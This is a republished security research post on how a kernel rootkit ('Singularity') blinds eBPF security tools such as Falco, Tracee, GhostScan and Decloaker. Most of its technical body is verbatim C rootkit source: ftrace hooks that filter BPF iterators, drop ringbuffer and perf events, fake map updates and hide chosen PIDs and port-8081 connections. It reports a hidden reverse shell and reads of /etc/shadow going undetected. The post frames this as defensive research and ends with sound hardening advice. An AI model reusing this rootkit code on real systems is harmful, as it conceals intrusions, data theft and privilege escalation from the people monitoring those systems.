Breaking eBPF Security: How Kernel Rootkits Blind Observability Tools

Breaking eBPF Security: How Kernel Rootkits Blind Observability Tools

by
with no comment
Linux
Original text: “Breaking eBPF Security: How Kernel Rootkits Blind Observability Tools” — 0xMatheuZ, matheuzsecurity.github.io. Code blocks are reproduced verbatim with attribution captions.

Executive Summary

eBPF-based security tools — Falco, Tracee, Tetragon, GhostScan — have become the dominant approach to Linux kernel observability and runtime threat detection. They attach to syscall tracepoints and kernel events, stream telemetry to userspace via ringbuffers and perf event arrays, and enumerate system state through BPF iterators. The security model implicitly assumes the kernel itself is a trustworthy observer. This post dissects exactly when and how that assumption breaks.

When an attacker gains the ability to load a kernel module (requiring root with disabled Secure Boot or unenforced module signing), they can hook the kernel functions that eBPF programs depend on to deliver data to userspace — without touching the eBPF programs themselves. By intercepting bpf_iter_run_prog, bpf_ringbuf_submit, perf_event_output, and bpf_map_lookup_elem via ftrace, a rootkit can selectively erase specific processes and network connections from every eBPF security tool simultaneously. The result: Falco, Tracee, GhostScan, and Decloaker all report a clean system while a reverse shell runs undetected.

Introduction

Modern Linux security infrastructure has consolidated around eBPF. Projects like Falco, Tracee, and Tetragon provide kernel-level telemetry with low overhead and visibility that appears difficult to circumvent from userspace. Attaching directly to syscall tracepoints, kprobes, and kernel events gives these tools an apparent vantage point above any userspace attacker.

But this security model rests on a single load-bearing assumption: the kernel is assumed to be a trustworthy observer. The entire data pipeline — eBPF program executes in kernel context, writes to a ring buffer, userspace daemon reads and evaluates — only works if the kernel functions underlying each step behave as expected.

This research explores what happens when that assumption fails. Specifically: when an attacker has already achieved kernel-level code execution via a loaded module, the most valuable targets are not the eBPF programs themselves (memory-safe and verifier-checked), but their supporting infrastructure — the iterators, event delivery mechanisms, and map operations that convert kernel activity into userspace-visible signals. This post documents the full attack surface and demonstrates complete evasion of four eBPF-based security tools.

Disclaimer: All techniques described are for educational and defensive research purposes only, published to help security researchers develop better detection and prevention mechanisms.

The eBPF Security Landscape

How eBPF Security Works

eBPF (extended Berkeley Packet Filter) has transformed Linux observability and security capabilities. Contemporary security tools leverage eBPF to monitor kernel events in real-time without requiring kernel code modifications or traditional kernel module loading. The architecture rests on four interconnected components:

  • eBPF Programs: Sandboxed code executing in kernel context, attached to syscalls, tracepoints, and kprobes.
  • BPF Maps: Kernel data structures enabling state sharing between eBPF programs and userspace.
  • Ringbuffers / Perf Events: Efficient mechanisms for streaming event data from kernel to userspace.
  • BPF Iterators: A mechanism for efficiently walking kernel objects such as processes and network connections.

Security tools built on this architecture include Falco (runtime anomaly detection), Tracee (syscall and event tracing), Tetragon (policy enforcement), Cilium (network security), GhostScan (rootkit detection via memory scanning), and Decloaker (hidden process detection).

The False Promise of Kernel Observability

The security community embraced eBPF as a solution to a fundamental challenge: monitoring a system under active attack. Kernel-level observability appeared to give defenders a vantage point that userspace attackers cannot compromise. This assumption contains a critical flaw.

eBPF programs execute inside the kernel they observe, while the full detection pipeline also depends on kernel→userspace delivery (ring buffers, perf buffers, iterators) and userspace policy engines. If an attacker gains the ability to load a kernel module — via root access with disabled Secure Boot or unenforced module signing — they can modify kernel behavior and selectively disrupt what eBPF programs and their collectors actually see.

  • eBPF programs cannot protect themselves from kernel-level manipulation.
  • The eBPF verifier ensures memory safety, not security guarantees against kernel-level attackers.
  • All eBPF data flow mechanisms (iterators, ringbuffers, maps) are implemented as hookable kernel functions.
  • Kernel functions can be dynamically intercepted via ftrace without modifying kernel code.

The moment an attacker achieves kernel-level access, observability becomes optional.

Understanding the Attack Surface

Before examining how to bypass eBPF security tools, it is necessary to understand the data collection mechanisms they depend on. Each mechanism presents distinct interception points. The diagram below maps the complete attack surface across the four primary mechanisms.

eBPF attack surface diagram showing BPF iterators, ring buffers, perf events, and maps
eBPF attack surface: BPF iterators, ringbuffers, perf events, and BPF maps. Source: original article.

BPF Iterators

BPF iterators allow eBPF programs to efficiently walk kernel data structures. Security tools such as GhostScan and Decloaker use iterators to enumerate running processes and network connections, comparing that enumeration against other system views to detect rootkit discrepancies. The iterator data flow:

Kernel Data (tasks, sockets)
    -> bpf_iter_run_prog()
        -> eBPF iterator program
            -> bpf_seq_write() / bpf_seq_printf()
                -> Userspace reads via seq_file

Key hookable functions: bpf_iter_run_prog() executes the eBPF iterator program for each kernel object; bpf_seq_write() writes raw data to the seq_file output buffer; bpf_seq_printf() writes formatted output to the seq_file buffer.

BPF Ringbuffers

Ringbuffers are the modern replacement for perf buffers, providing efficient event streaming from kernel to userspace with better performance and ordering guarantees. Falco’s modern eBPF probe uses BPF_MAP_TYPE_RINGBUF for kernel→userspace event delivery. The ringbuffer data flow:

Kernel Event
    -> eBPF program
        -> bpf_ringbuf_reserve()
            -> bpf_ringbuf_submit() or bpf_ringbuf_output()
                -> Userspace reads events

Key hookable functions: bpf_ringbuf_reserve() allocates space in the ringbuffer; bpf_ringbuf_submit() commits reserved data; bpf_ringbuf_output() performs a one-shot write. Note: Tracee uses perf ring buffers as its primary kernel→userspace delivery (varies by version); Tetragon uses ring buffer or perf-based buffers depending on component and version. Perf event arrays (BPF_MAP_TYPE_PERF_EVENT_ARRAY) are per-CPU and older; ring buffers are shared across CPUs and more efficient.

Perf Events

Perf events are the traditional mechanism for streaming kernel data to userspace. While older than ringbuffers, many tools still use them, particularly legacy Falco versions. The perf event data flow:

Kernel Event
    -> eBPF program
        -> perf_event_output()
            -> perf_trace_run_bpf_submit()
                -> Userspace reads perf buffer

Key hookable functions: perf_event_output() writes the event to the perf buffer; perf_trace_run_bpf_submit() submits tracepoint data to eBPF programs.

BPF Maps

BPF maps are kernel data structures that store state and allow communication between eBPF programs and userspace. Security tools use them to store process metadata, track network connections, maintain allow/deny lists, and share state between eBPF programs. The map operation flow:

eBPF program or userspace
    -> bpf_map_lookup_elem()
    -> bpf_map_update_elem()
    -> bpf_map_delete_elem()
        -> Kernel map data structure

Key hookable functions: bpf_map_lookup_elem() retrieves a value; bpf_map_update_elem() inserts or updates an entry; bpf_map_delete_elem() removes an entry.

Bypassing eBPF Security: Technical Implementation

The following sections walk through each interception layer of the rootkit (publicly available as Singularity). The core strategy is not to attack eBPF programs directly — they run in a sandboxed verifier-checked environment — but to cut off the kernel-side plumbing those programs rely on to deliver data to userspace.

Hook Architecture

The rootkit uses ftrace to dynamically hook critical BPF kernel functions. Ftrace allows interception of kernel functions without modifying kernel code, making it a clean hooking primitive that operates below the eBPF program layer. The complete set of hooked functions:

static struct ftrace_hook hooks[] = {
    // BPF Iterator Hooks
    HOOK("bpf_iter_run_prog", hook_bpf_iter_run_prog, &orig_bpf_iter_run_prog),
    HOOK("bpf_seq_write", hook_bpf_seq_write, &orig_bpf_seq_write),
    HOOK("bpf_seq_printf", hook_bpf_seq_printf, &orig_bpf_seq_printf),

    // BPF Ringbuffer Hooks
    HOOK("bpf_ringbuf_output", hook_bpf_ringbuf_output, &orig_bpf_ringbuf_output),
    HOOK("bpf_ringbuf_reserve", hook_bpf_ringbuf_reserve, &orig_bpf_ringbuf_reserve),
    HOOK("bpf_ringbuf_submit", hook_bpf_ringbuf_submit, &orig_bpf_ringbuf_submit),

    // BPF Map Hooks
    HOOK("bpf_map_lookup_elem", hook_bpf_map_lookup_elem, &orig_bpf_map_lookup_elem),
    HOOK("bpf_map_update_elem", hook_bpf_map_update_elem, &orig_bpf_map_update_elem),

    // Perf Event Hooks
    HOOK("perf_event_output", hook_perf_event_output, &orig_perf_event_output),
    HOOK("perf_trace_run_bpf_submit", hook_perf_trace_run_bpf_submit,
         &orig_perf_trace_run_bpf_submit),

    // BPF Program Execution
    HOOK("__bpf_prog_run", hook_bpf_prog_run, &orig_bpf_prog_run),

    // BPF Syscall
    HOOK("__x64_sys_bpf", hook_bpf, &orig_bpf),
    HOOK("__ia32_sys_bpf", hook_bpf_ia32, &orig_bpf_ia32),
};

Why this works: once loaded, the rootkit runs at ring 0 with full privileges; ftrace hooking operates below eBPF programs, intercepting their data sources rather than their code; only specific PIDs and ports are hidden (not all events), making detection harder.

Process and Network Hiding

The rootkit maintains lists of hidden PIDs and network connections. Child process tracking ensures that hiding a shell also hides all processes it spawns. The hidden PID management routines:

#define MAX_HIDDEN_PIDS 32
#define MAX_CHILD_PIDS (MAX_HIDDEN_PIDS * 128)

extern int hidden_pids[MAX_HIDDEN_PIDS];
extern int hidden_count;
extern int child_pids[MAX_CHILD_PIDS];
extern int child_count;

notrace void add_hidden_pid(int pid) {
    int i;
    for (i = 0; i < hidden_count; i++) {
         if (hidden_pids[i] == pid)
             return;
    }
    if (hidden_count < MAX_HIDDEN_PIDS) {
        hidden_pids[hidden_count++] = pid;
    }
}

notrace int is_hidden_pid(int pid) {
    int i;
    for (i = 0; i < hidden_count; i++) {
         if (hidden_pids[i] == pid)
             return 1;
    }
    return 0;
}

Child process tracking walks the parent chain up to ten levels deep using RCU-protected task_struct traversal:

static notrace bool is_child_of_hidden_process(int pid)
{
    struct task_struct *task;
    struct task_struct *parent;
    int depth = 0;
    int max_depth = 10;
    bool hidden = false;

    if (pid <= 0)
        return false;

    if (should_hide_pid_by_int(pid))
        return true;

    rcu_read_lock();

    task = pid_task(find_vpid(pid), PIDTYPE_PID);

    if (!task) {
        rcu_read_unlock();
        return false;
    }

    parent = task;
    while (parent && depth < max_depth) {
        if (parent->pid <= 0)
            break;

        parent = rcu_dereference(parent->real_parent);

        if (!parent || parent->pid <= 1)
            break;

        if (should_hide_pid_by_int(parent->pid)) {
            hidden = true;
            break;
        }

        depth++;
    }

    rcu_read_unlock();
    return hidden;
}

Network connection hiding targets a specific port (8081 in the PoC) and a cached hidden IP address, matching both IPv4 and IPv6 sockets:

#define HIDDEN_PORT 8081

static notrace bool should_hide_socket_port(struct sock_common *sk)
{
    __be16 sport, dport;
    __be32 saddr, daddr;

    if (!sk)
        return false;

    init_hidden_ip();

    if (sk->skc_family == AF_INET) {
        sport = sk->skc_num;
        dport = sk->skc_dport;
        saddr = sk->skc_rcv_saddr;
        daddr = sk->skc_daddr;

        if (sport == HIDDEN_PORT || ntohs(dport) == HIDDEN_PORT) {
            if (saddr == hidden_ip_cached || daddr == hidden_ip_cached ||
                saddr == htonl(INADDR_ANY) || daddr == htonl(INADDR_ANY)) {
                return true;
            }
        }
    }
    else if (sk->skc_family == AF_INET6) {
        sport = sk->skc_num;

        if (sport == HIDDEN_PORT) {
            return true;
        }
    }

    return false;
}

Intercepting BPF Iterators

BPF iterators allow tools like GhostScan and Decloaker to enumerate kernel objects. By hooking iterator execution, results are selectively filtered. The iterator context structures passed to bpf_iter_run_prog for TCP, UDP, and task iterators:

struct bpf_iter_ctx_tcp {
    struct bpf_iter_meta *meta;
    struct sock_common *sk_common;
    uid_t uid;
};

struct bpf_iter_ctx_udp {
    struct bpf_iter_meta *meta;
    struct udp_sock *udp_sk;
    uid_t uid;
    int bucket;
};

struct bpf_iter_ctx_task {
    struct bpf_iter_meta *meta;
    struct task_struct *task;
};

The hook inspects each context type and returns 0 (skip) for hidden PIDs or ports, preventing the eBPF program from ever seeing that object:

static notrace int hook_bpf_iter_run_prog(struct bpf_prog *prog, void *ctx)
{
    struct bpf_iter_ctx_tcp *tcp_ctx;
    struct bpf_iter_ctx_udp *udp_ctx;
    struct bpf_iter_ctx_task *task_ctx;
    struct sock_common *sk;
    struct udp_sock *udp_sk;
    struct task_struct *task;

    if (!orig_bpf_iter_run_prog || !ctx)
        goto passthrough;

    // Check if this is a TCP socket iterator
    tcp_ctx = (struct bpf_iter_ctx_tcp *)ctx;
    if (tcp_ctx && tcp_ctx->sk_common) {
        sk = tcp_ctx->sk_common;

        if ((unsigned long)sk > PAGE_SIZE) {
            if (should_hide_socket_port(sk)) {
                return 0;  // Skip this socket
            }
        }
    }

    // Check if this is a UDP socket iterator
    udp_ctx = (struct bpf_iter_ctx_udp *)ctx;
    if (udp_ctx && udp_ctx->udp_sk) {
        udp_sk = udp_ctx->udp_sk;

        if ((unsigned long)udp_sk > PAGE_SIZE) {
            sk = &udp_sk->inet.sk.__sk_common;

            if (should_hide_socket_port(sk)) {
                return 0;  // Skip this socket
            }
        }
    }

    // Check if this is a task iterator
    task_ctx = (struct bpf_iter_ctx_task *)ctx;
    if (task_ctx && task_ctx->task) {
        task = task_ctx->task;

        if ((unsigned long)task > PAGE_SIZE && task->pid > 0) {
            if (is_child_of_hidden_process(task->pid)) {
                return 0;  // Skip this task
            }
        }
    }

passthrough:
    return orig_bpf_iter_run_prog(prog, ctx);
}

When GhostScan or Decloaker use BPF iterators to enumerate processes or network connections, the hook intercepts each iteration. For hidden PIDs or ports, it returns 0, preventing the eBPF program from ever seeing that object. The security tool receives a complete-looking enumeration with specific entries silently removed. Iterators also use bpf_seq_write() to format output; this is hooked too — the hook scans binary data for PID values and blocks the write if a hidden PID is found:

static notrace int hook_bpf_seq_write(struct seq_file *seq, const void *data, u32 len)
{
    const u32 *pid_data;
    int i;

    if (!orig_bpf_seq_write)
        return -ENOSYS;

    if (!data || len < sizeof(u32))
        goto passthrough;

    // Scan the data for PIDs
    pid_data = (const u32 *)data;
    for (i = 0; i < (len / sizeof(u32)) && i < 16; i++) {
        u32 potential_pid = pid_data[i];

        if (potential_pid > 0 && potential_pid < 4194304) {
            if (is_child_of_hidden_process((int)potential_pid)) {
                return 0;  // Block this write
            }
        }
    }

passthrough:
    return orig_bpf_seq_write(seq, data, len);
}

Filtering Ringbuffer Events

Falco and Tracee rely heavily on ringbuffers for event streaming. By hooking ringbuffer operations at three points (reserve, output, submit), events from hidden processes never reach the ringbuffer. A helper identifies Falco events by validating the event header structure:

struct falco_event_hdr {
    u64 ts;
    u64 tid;
    u32 len;
    u16 type;
    u32 nparams;
} __attribute__((packed));

static notrace bool is_falco_event(void *data, u64 size)
{
    struct falco_event_hdr *hdr;

    if (!data || size < sizeof(struct falco_event_hdr))
        return false;

    hdr = (struct falco_event_hdr *)data;

    // Validate event structure
    if (hdr->type >= 1 && hdr->type <= 400 &&
        hdr->len > 0 && hdr->len < 65536 &&
        hdr->nparams < 20) {
        return true;
    }

    return false;
}

The bpf_ringbuf_output hook inspects the event header to extract the TID and drops events from hidden processes:

static notrace long hook_bpf_ringbuf_output(void *ringbuf, void *data, u64 size, u64 flags)
{
    struct falco_event_hdr *hdr;
    int pid;

    if (!orig_bpf_ringbuf_output)
        return -ENOSYS;

    if (!data || !ringbuf)
        goto passthrough;

    // Check if this looks like a Falco event
    if (!is_falco_event(data, size))
        goto passthrough;

    hdr = (struct falco_event_hdr *)data;
    pid = (int)(hdr->tid & 0xFFFFFFFF);

    // If this event is from a hidden process, drop it
    if (is_child_of_hidden_process(pid)) {
        return 0;
    }

passthrough:
    return orig_bpf_ringbuf_output(ringbuf, data, size, flags);
}

The bpf_ringbuf_reserve hook denies allocation for hidden processes at the earliest possible point, before any data is written:

static notrace void *hook_bpf_ringbuf_reserve(void *ringbuf, u64 size, u64 flags)
{
    pid_t pid;

    if (!orig_bpf_ringbuf_reserve)
        return NULL;

    pid = current->tgid;

    // Deny ringbuffer allocation for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return NULL;
    }

    return orig_bpf_ringbuf_reserve(ringbuf, size, flags);
}

The bpf_ringbuf_submit hook catches any events that were reserved before the process was added to the hidden list:

static notrace void hook_bpf_ringbuf_submit(void *data, u64 flags)
{
    struct falco_event_hdr *hdr;
    int pid;

    if (!orig_bpf_ringbuf_submit)
        return;

    if (!data)
        goto passthrough;

    if (!is_falco_event(data, 0))
        goto passthrough;

    hdr = (struct falco_event_hdr *)data;
    pid = (int)(hdr->tid & 0xFFFFFFFF);

    // Drop submission for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return;
    }

passthrough:
    orig_bpf_ringbuf_submit(data, flags);
}

With all three hooks active, events from hidden processes never reach the ringbuffer at any stage. From Falco’s and Tracee’s perspective, those processes do not exist.

Blocking Perf Event Submission

Older tools and some Falco configurations still use perf events rather than ringbuffers. The perf_event_output hook drops events from hidden processes at the perf output stage:

static notrace int hook_perf_event_output(struct perf_event *event,
                                          struct perf_sample_data *data,
                                          struct pt_regs *regs)
{
    pid_t pid;

    if (!orig_perf_event_output)
        return -ENOSYS;

    pid = current->tgid;

    // Drop perf events for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return 0;
    }

    return orig_perf_event_output(event, data, regs);
}

The perf_trace_run_bpf_submit hook intercepts tracepoint data submission, checking both the task argument and the current process:

static notrace void hook_perf_trace_run_bpf_submit(void *raw_data, int size,
                                                    int rctx, struct pt_regs *regs,
                                                    struct hlist_head *head,
                                                    struct task_struct *task)
{
    if (!orig_perf_trace_run_bpf_submit)
        return;

    // Check if the task is hidden
    if (task && is_child_of_hidden_process(task->pid)) {
        return;
    }

    // Also check current process
    if (is_child_of_hidden_process(current->tgid)) {
        return;
    }

    orig_perf_trace_run_bpf_submit(raw_data, size, rctx, regs, head, task);
}

Manipulating BPF Maps

Security tools use BPF maps to store process metadata, track suspicious activity, and maintain state. By hooking map operations, hidden processes are prevented from being recorded. The bpf_map_lookup_elem hook returns NULL for any hidden PID used as a map key:

static notrace void *hook_bpf_map_lookup_elem(struct bpf_map *map, const void *key)
{
    void *ret;
    pid_t pid;

    if (!orig_bpf_map_lookup_elem)
        return NULL;

    ret = orig_bpf_map_lookup_elem(map, key);

    // If the map uses PIDs as keys, filter hidden PIDs
    if (ret && map && map->key_size == sizeof(pid_t)) {
        pid = *(pid_t *)key;

        if (is_child_of_hidden_process(pid)) {
            return NULL;  // Pretend the entry doesn't exist
        }
    }

    return ret;
}

The bpf_map_update_elem hook silently discards updates that would record a hidden process, returning 0 as if the update succeeded:

static notrace long hook_bpf_map_update_elem(struct bpf_map *map, void *key,
                                               void *value, u64 flags)
{
    u32 *pid_key;

    if (!orig_bpf_map_update_elem)
        return -ENOSYS;

    // If this is a PID-keyed map, block updates for hidden PIDs
    if (map && map->key_size == sizeof(u32)) {
        pid_key = (u32 *)key;

        if (is_child_of_hidden_process((int)*pid_key)) {
            return 0;  // Silently succeed without actually updating
        }
    }

    return orig_bpf_map_update_elem(map, key, value, flags);
}

Security tools that track process behavior using BPF maps will never see entries for hidden processes. Map lookups return NULL; map updates silently fail. The tool’s logic continues to function normally, operating on an incomplete view of reality without producing any visible errors.

Blocking eBPF Program Execution

For maximum stealth, the rootkit can also prevent eBPF programs from executing when triggered by hidden processes. The __bpf_prog_run hook returns 0 without executing the program:

static notrace u32 hook_bpf_prog_run(const struct bpf_prog *prog, const void *ctx)
{
    pid_t pid;

    if (!orig_bpf_prog_run)
        return 0;

    pid = current->tgid;

    // Don't execute eBPF programs for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return 0;
    }

    return orig_bpf_prog_run(prog, ctx);
}

The bpf() syscall hook provides an additional control point for intercepting BPF commands issued by hidden processes:

static notrace asmlinkage long hook_bpf(const struct pt_regs *regs)
{
    int cmd;
    pid_t pid;

    if (!orig_bpf)
        return -ENOSYS;

    cmd = (int)regs->di;
    pid = current->tgid;

    // Hidden processes can use bpf() normally
    // but we could log/block specific commands here
    if (is_child_of_hidden_process(pid)) {
        // Optional: block certain BPF commands
    }

    return orig_bpf(regs);
}

Real-World Bypass Results

Falco Evasion

Falco is one of the most widely deployed eBPF-based runtime security tools, monitoring syscalls, file access, network connections, and process execution. With the hooks active, a full attack workflow produces zero detections:

  1. Reverse Shell: Connected to attacker-controlled server on port 8081. Falco detected nothing.
  2. Process Execution: Spawned interactive bash shell. Falco detected nothing.
  3. File Modification: Modified and read /etc/passwd, /etc/shadow. Falco detected nothing.
  4. Network Activity: Established multiple TCP connections. Falco detected nothing.
  5. Privilege Escalation: Used rootkit signal-based privilege escalation (kill -59). Falco detected nothing.

Falco’s eBPF programs successfully attach to syscall tracepoints and execute as designed. Every event they generate passes through the kernel→userspace delivery layer that the hooks disrupt. Events from hidden processes are filtered before reaching Falco’s userspace agent. From Falco’s perspective, the system appears clean.

Tracee Evasion

Tracee provides detailed syscall tracing and event analysis specifically designed to detect anomalous behavior and hidden processes. With hooks active:

  1. Process Enumeration: Tracee’s process listing showed no hidden processes.
  2. Syscall Tracing: No syscalls from hidden processes appeared in traces.
  3. Network Connections: Hidden network connections were invisible to Tracee.

Tracee relies on BPF iterators for process enumeration and ringbuffers for syscall events. The iterator hook ensures hidden processes never appear during enumeration; the ringbuffer hooks prevent syscall events from being recorded. Both mechanisms fail silently — Tracee sees no errors, only a clean system.

Additional Tools

GhostScan detects hidden processes by comparing multiple enumeration methods and uses BPF iterators to walk the task list. With iterator hooks in place, hidden processes remain invisible across all enumeration paths — every view has been filtered identically, so the comparison finds no discrepancy.

Decloaker attempts to reveal hidden network connections using multiple detection techniques including BPF iterators. With both iterator and socket filtering hooks active, connections on the target port never appear through any detection path.

If an attacker gains the ability to load kernel modules, they control the kernel’s view of reality. eBPF security tools run inside the kernel and thus cannot fully protect a compromised kernel. The only reliable defense is preventing kernel compromise in the first place.

0xMatheuZ, original article

Key Takeaways

  • Target the data path, not the program: eBPF programs can run correctly while their output never arrives — hooking the kernel-side plumbing that carries events to userspace is more effective than attacking eBPF code directly.
  • Enumerators are just another surface: Iterator-based tools depend on bpf_iter_run_prog() and seq_file writes; filtering there makes multiple enumeration views agree on a consistent lie without raising errors.
  • Event delivery is a choke point: Whether a tool uses ring buffer (BPF_MAP_TYPE_RINGBUF) or perf buffer (BPF_MAP_TYPE_PERF_EVENT_ARRAY), the kernel→userspace boundary creates a natural interception point.
  • State can be selectively erased: Map lookup/update hooks make hidden PIDs appear as “not found” without breaking the rest of the system or producing visible error conditions.
  • Selective hiding is harder to detect than blanket suppression: Hiding only specific PIDs and ports leaves the security tool functioning normally for all other activity.
  • All four major eBPF security tools were bypassed simultaneously: Falco, Tracee, GhostScan, and Decloaker were all defeated with a single kernel module using ftrace hooks.
  • Once the kernel is hostile, observability is best-effort: eBPF improves visibility under a trusted kernel; it cannot harden a compromised one.

Defensive Recommendations

  • Enforce Secure Boot and kernel module signing: The attack requires loading an unsigned kernel module. Enforce kernel lockdown mode (lockdown=confidentiality) and UEFI Secure Boot with custom signing keys to block unauthorized module loading.
  • Deploy network-layer monitoring independently of the host: eBPF-based detection can be blinded at the host level, but network taps, span ports, and out-of-band flow collectors cannot be manipulated from within a compromised host.
  • Use hardware-rooted trust and remote attestation: TPM-based measured boot and remote attestation can detect kernel integrity violations before a rootkit has time to suppress evidence.
  • Log kernel module load events to a remote, append-only sink: Log finit_module / init_module syscalls via audit daemon with remote syslog before the rootkit can suppress them. The window between module load and hook installation is a detection opportunity.
  • Cross-validate process lists from multiple independent layers: Compare /proc enumeration, cgroup enumeration, network socket tables, and container runtime APIs. A rootkit hooking BPF iterators may not suppress every enumeration path simultaneously.
  • Combine eBPF telemetry with external sensors: Hypervisor-level monitoring, hardware performance counters, and EDR agents that operate from outside the OS image can detect discrepancies that suggest kernel tampering.
  • Treat kernel compromise as a full incident: If a rootkit is suspected, do not trust any in-kernel telemetry from the compromised host. Acquire memory from outside (live forensics via trusted boot medium or hypervisor snapshot) and analyze offline.

Conclusion

This research demonstrates that eBPF-based security tools, while powerful, operate under a critical and largely unacknowledged assumption: that kernel-level observability provides complete and trustworthy visibility. In reality, when an attacker achieves kernel-level access through a loaded module, they can systematically blind these tools by intercepting the kernel functions those tools depend on to deliver data to userspace — without touching the eBPF programs themselves, without triggering verifier errors, and without producing any visible anomalies in the security tool’s output. The attack is surgical: only data related to specific processes or ports is suppressed, while the security tool continues to generate telemetry and fire alerts for everything else. Falco, Tracee, GhostScan, and Decloaker were all bypassed simultaneously. The real security win is preventing kernel compromise before it happens — through Secure Boot enforcement, signed modules, and defense-in-depth that does not rely exclusively on host-resident eBPF observability.

Original text: “Breaking eBPF Security: How Kernel Rootkits Blind Observability Tools” by 0xMatheuZ at matheuzsecurity.github.io. Singularity rootkit PoC: github.com/MatheuZSecurity/Singularity.

Comments are closed.